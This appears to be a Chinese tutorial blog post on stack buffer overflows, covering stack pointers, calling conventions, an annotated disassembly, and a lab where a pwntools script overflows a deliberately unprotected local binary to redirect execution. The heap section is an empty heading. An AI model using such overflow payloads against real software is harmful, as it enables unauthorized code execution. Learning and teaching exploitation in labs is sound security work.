缓冲区溢出原理及举例

本文探讨了栈溢出及缓冲区溢出的基本原理,包括ebp与esp指针的作用,以及不同类型的溢出模式。文章还提供了多个参考资料,帮助读者深入理解并学习如何防范这些安全威胁。

(1)栈溢出原理

基本原理:一是ebp指向栈底元素;esp 指向栈顶元素(存在数据的那个栈空间)。二是栈从高地址向低地址减少。三是小端是数值的高字节存高地址,数值的低字节存低地址。四是数组的地址依次增加则地址依次增加。

函数调用方式:三种_fastcall(ECX/EDX传递前两个参数 ,剩下的从右往左依次入栈,函数自己处理,linux默认方式) :_stdcall(WINAPI,函数自己处理释放)_cdecl(谁调用谁释放)

_fastcall栈操作的基本步骤:一是把当前系统的rbp压入栈,将main的rep和rsp指向同一个位置,然后rsp减去某数值,构建main的变量空间。二是main函数内有其他函数add()调用则需要先将add()函数下一条命令压入栈,然后将main函数的rbp压入栈,add()的rep和rsp指向同一个位置,然后rsp减去某数值,构建add函数的变量空间。

案例一栈工作原理:

.text:00005556CC538139 var_11= dword ptr -11h

.text:00005556CC538139 var_D= dword ptr -0Dh

.text:00005556CC538139 var_9= byte ptr -9

.text:00005556CC538139 var_8= dword ptr -8

.text:00005556CC538139 var_4= dword ptr -4

.text:00005556CC538139 push    rbp

#将rbp的地址压入栈中,其中rbp是调用操作系统的基址,8个字节。(rbp=0001)

.text:00005556CC53813A mov     rbp, rsp

#将rsp的地址赋值给rbp,此时rbp存的是main函数的基址(rbp=00007FFE89FB97E0)。

.text:00005556CC53813D sub     rsp, 20h

#将main函数的栈空间扩充32个字符空间(rsp=0x00007FFE89FB97C0)

.text:00005556CC538141 mov     [rbp+var_D], 64636261h

#为数组分配空间按a在最低字节,d在最高字节,其中最低空间是rbp-17个字节

#rbp+var_D=00007FFE89FB97D3开始依次放入

.text:00005556CC538148 mov     [rbp+var_9], 65h ; 'e'

.text:00005556CC53814C mov     [rbp+var_11], 34333231h

#C数值分配比a更小

.text:00005556CC538153 mov     [rbp+var_4], 6

.text:00005556CC53815A mov     [rbp+var_8], 7788h

.text:00005556CC538161 lea     rax, [rbp+var_D]

.text:00005556CC538165 mov     rsi, rax

.text:00005556CC538168 lea     rax, format     ; "%s"

.text:00005556CC53816F mov     rdi, rax        ; format

.text:00005556CC538172 mov     eax, 0

.text:00005556CC538177 call    _printf

案例二远程栈溢出基本利用。

#系统上将程序转发到10001端口
socat tcp-listen:10001,reuseaddr,fork EXEC:./yl10,pty,rawer
#检查程序防护情况
checksec --file=./yl10                                       
RELRO          
STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   36 Symbols        No    0               2           ./yl10

#关闭防护
gcc -z execstack -fno-stack-protector -no-pie -o yl10 sfast.c
#python 链接端口发送数据
from pwn import *
p=remote('192.168.248.128',10001)
payload=b'A'*14+p64(0x401136+1)
#'A'*6+'A'*8+p64(0x401136+1) ===6个字符+main函数的rbp8个字节+函数地址,函数地址来源于IDA静态分析

p.sendline(payload)
print(p.recv())

案例三 IDA +远程linux程序调试:

WINDOWS上IDA通过linux_sever64程序对linux程序进行动态调试,详细过程看https://blog.youkuaiyun.com/chelp/article/details/24341425

案例四socat+pwntools+IDA+远程linux程序调试

一:IDA配置调试断点

二:设置端口转发,访问端口则执行程序

三、利用pwntools导入python库然后链接端口,启动程序

四、debuger调试将程序添加到IDA调试环境

五、pwntools交互调试即可

(2)堆溢出原理

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值